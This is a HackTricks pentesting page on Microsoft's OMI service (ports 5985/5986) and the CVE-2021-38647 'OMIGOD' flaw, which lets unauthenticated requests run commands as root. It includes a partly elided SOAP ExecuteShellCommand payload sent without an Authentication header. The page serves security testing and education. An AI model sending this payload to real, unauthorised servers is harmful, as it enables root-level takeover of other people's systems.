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72 lines
4.2 KiB
Markdown
72 lines
4.2 KiB
Markdown
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# 5985,5986 - Pentesting OMI
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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### **Basic Information**
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**OMI** is presented as an **[open-source](https://github.com/microsoft/omi)** tool by Microsoft, designed for remote configuration management. It's particularly relevant for Linux servers on Azure that utilize services such as:
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- **Azure Automation**
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- **Azure Automatic Update**
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- **Azure Operations Management Suite**
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- **Azure Log Analytics**
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- **Azure Configuration Management**
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- **Azure Diagnostics**
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The process `omiengine` is initiated and listens on all interfaces as root when these services are activated.
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**Default ports** used are **5985** (http) and **5986** (https).
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### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
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As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.
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An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.
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```xml
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<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
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...
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<s:Body>
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<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
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<p:command>id</p:command>
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<p:timeout>0</p:timeout>
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</p:ExecuteShellCommand_INPUT>
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</s:Body>
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</s:Envelope>
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```
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For a more information about this CVE **[check this](https://github.com/horizon3ai/CVE-2021-38647)**.
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## References
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* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
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* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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